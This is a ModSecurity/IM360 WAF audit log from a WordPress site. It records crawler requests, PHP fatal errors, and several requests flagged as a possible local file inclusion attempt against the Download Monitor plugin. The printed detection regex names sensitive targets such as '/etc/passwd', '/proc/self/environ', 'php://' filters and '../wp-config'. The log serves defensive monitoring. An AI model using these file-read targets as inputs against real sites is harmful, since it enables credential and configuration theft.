{"transaction":{"time":"13/Mar/2026:01:45:17.484281 +0100","transaction_id":"abNeHVWNXJO_mmQISINKAQAAAVM","remote_address":"57.141.20.16","remote_port":56290,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/fr_LU/LC_NUMERIC HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.16","X-Forwarded-Proto":"https","X-Request-Id":"71d6b3380d6b0ca5b2c137d73464ffdc","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31785542"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"71d6b3380d6b0ca5b2c137d73464ffdc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/fr_LU/LC_NUMERIC||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":299,"p2":5516,"p3":0,"p4":0,"p5":371,"sr":140,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:46:25.787392 +0100","transaction_id":"abNeYVWNXJO_mmQISINKVgAAAUU","remote_address":"57.141.20.53","remote_port":57608,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/opt/php8.4/include/php/Zend/zend.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.53","X-Forwarded-Proto":"https","X-Request-Id":"5f68a24585c8c7882773391b6ef08fb5","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31983097"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5f68a24585c8c7882773391b6ef08fb5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.4/include/php/Zend/zend.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":241,"p2":3592,"p3":0,"p4":0,"p5":274,"sr":126,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:47:07.902273 +0100","transaction_id":"abNei36c0W8rkQnlo8JBswAAAcw","remote_address":"65.109.118.212","remote_port":37356,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"87238d0bcd1f397d1f1298093c0a5698","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1896178","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"87238d0bcd1f397d1f1298093c0a5698","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":172,"p2":2898,"p3":0,"p4":0,"p5":280,"sr":100,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:49:08.815957 +0100","transaction_id":"abNfBPGYjQkrq8Uo_EwEhwAAAI4","remote_address":"65.109.118.212","remote_port":49326,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"41dfe1414cf7ed14d23a8c21da14db17","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30577364","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"41dfe1414cf7ed14d23a8c21da14db17","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":248,"p2":4121,"p3":0,"p4":0,"p5":447,"sr":166,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:50:10.080576 +0100","transaction_id":"abNfQfGByT275eeM2Zk6SQAAAQM","remote_address":"114.119.150.95","remote_port":47582,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/266429151 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"0f875056b65cd8840204db0e35175400","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29393339","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"0f875056b65cd8840204db0e35175400","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":184,"p2":3479,"p3":0,"p4":0,"p5":342,"sr":107,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:51:10.622777 +0100","transaction_id":"abNffn6c0W8rkQnlo8JDZwAAAcM","remote_address":"65.109.118.212","remote_port":60978,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"7dd8ebf909a456fca28ef5fac5d4fc55","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"18264025","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"7dd8ebf909a456fca28ef5fac5d4fc55","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":181,"p2":3097,"p3":0,"p4":0,"p5":314,"sr":118,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:52:30.216390 +0100","transaction_id":"abNfzVWNXJO_mmQISINNNwAAAVA","remote_address":"114.119.142.37","remote_port":46290,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/30690451 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.142.37","X-Forwarded-Proto":"http","X-Request-Id":"020aa8c664dfde1914a3f3793ce14990","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9363120","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"020aa8c664dfde1914a3f3793ce14990","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":199,"p2":3682,"p3":0,"p4":0,"p5":343,"sr":142,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:53:11.495985 +0100","transaction_id":"abNf91WNXJO_mmQISINNpwAAAUw","remote_address":"65.109.118.212","remote_port":48464,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"210b46168be03c00da6fe3ea04de8d8c","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29169594","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"210b46168be03c00da6fe3ea04de8d8c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":267,"p2":9523,"p3":0,"p4":0,"p5":288,"sr":143,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:55:12.265555 +0100","transaction_id":"abNgbwPfUmAczd2QoGXHOwAAAAE","remote_address":"65.109.118.212","remote_port":37630,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"a394c0452db6ef6c7bf39ee24066db3b","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30214936","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"a394c0452db6ef6c7bf39ee24066db3b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":170,"p2":3667,"p3":0,"p4":0,"p5":370,"sr":114,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:55:40.007130 +0100","transaction_id":"abNgiwPfUmAczd2QoGXHfgAAAAE","remote_address":"114.119.154.67","remote_port":37630,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/185620151 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.67","X-Forwarded-Proto":"http","X-Request-Id":"4ff136ca1a45b0e31e067425a3a0db93","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31655283","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"4ff136ca1a45b0e31e067425a3a0db93","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":250,"p2":4811,"p3":0,"p4":0,"p5":314,"sr":147,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:59:04.916237 +0100","transaction_id":"abNhWFWNXJO_mmQISINQZwAAAUg","remote_address":"114.119.137.105","remote_port":53492,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/175325351 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.137.105","X-Forwarded-Proto":"http","X-Request-Id":"a18e61419019289e66cd29d236b3f7ac","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"32016360","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","Upgrade":"h2,h2c","Connection":"Upgrade, close","X-Orig-Rid":"a18e61419019289e66cd29d236b3f7ac","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":196,"p2":3304,"p3":0,"p4":0,"p5":357,"sr":112,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:59:20.540160 +0100","transaction_id":"abNhaAhXxndD9xDx47xSYgAAAFE","remote_address":"57.141.20.53","remote_port":54136,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/or/LC_MESSAGES/iso_639-3.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.53","X-Forwarded-Proto":"https","X-Request-Id":"5ed6ef4eb5b554275d5ef8d791ec75c9","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29393956"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"5ed6ef4eb5b554275d5ef8d791ec75c9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/or/LC_MESSAGES/iso_639-3.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":314,"p2":6184,"p3":0,"p4":0,"p5":390,"sr":132,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
